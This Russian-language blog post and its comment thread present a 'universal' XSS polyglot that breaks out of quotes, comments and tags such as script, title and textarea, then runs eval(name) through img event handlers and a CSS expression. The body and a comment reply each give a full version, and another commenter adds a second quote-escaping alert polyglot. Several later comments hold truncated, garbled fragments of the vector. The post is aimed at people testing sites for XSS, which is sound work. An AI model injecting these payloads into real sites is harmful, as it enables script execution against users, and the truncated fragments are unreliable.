Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk


Posted

in

by

Comments

16 responses to “Универсальный XSS-вектор”

  1. Dmitry Avatar

    >> Размер немного великоват (428 байт)
    и дело не только в размере… способ довольно палевный в контексте автомитизированного тестирования

  2. Raz0r Avatar

    С этим не поспоришь, но если применять точечно, то будет довольно эффективно

  3. Ruslan Avatar
    Ruslan

    Круто было бы если бы Вы его еще разобрали подробненько а не просто пыплескнули сюда 🙂 А вообще спасибо!

  4. Raz0r Avatar

    Если разбирать вектор, то видно, что закрываются все комментарии, кавычки, такие тэги как title, script, style и др. Сам payload исполняется внутри атрибутов для тега img и в значении свойства expression в CSS (исключительно для IE). Кстати в посте вектор был обновлен, оптимизированную версию предложил LeverOne (теперь 373 байта):

    javascript:/*--></script></title></textarea></noscript></style></xmp></noembed></comment></xml></iframe>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute; name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"
  5. Ruslan Avatar
    Ruslan

    Пока ждал ваш ответ, сам разобралсо 🙂
    Спасибо 🙂

  6. LO Avatar
    LO

    Я пока ничего не предлагал, только указал на очевидные проблемы кода.
    http://sla.ckers.org/forum/read.php?24,35645
    Судя по всему, он концептуально должен выглядеть по-другому. Ни о какой минимизации, чтобы байты высчитывать, на данный момент речи не идет : там ведь даже в HTML-эквивалентах не убраны разделители.

  7. M4g Avatar

    реальный пример, где можно увидеть, что эта конструкция лучше “>alert().? как-то страшно это выглядит)

  8. M4g Avatar

    упс, обрезалось “@@script@alert()@/script@

  9. AD0 Avatar

    в хром есть варианты как добавить?

  10.  Avatar
    Anonymous

    ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–>”>’>alert(String.fromCharCode(88,83,83))

  11. Nixx Avatar
    Nixx

    Сделал сканер поиска sql на сайте.Решил проверить сканером 17 xss нашел и этот вектор тоже работает.Короче как пхп тулзы зашишать.

  12.  Avatar
    Anonymous

    javascript:/*–>”>[img=1]”

  13. S Avatar

    javascript:/*–>”>[img=1]”

  14. hhh Avatar

    javascript:/*–>”>[img=1]”

  15.  Avatar
    Anonymous

    javascript:/*–>”>[img=1]”
    s

  16.  Avatar
    Anonymous

    javascript:/*–>»>[img=1]»

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.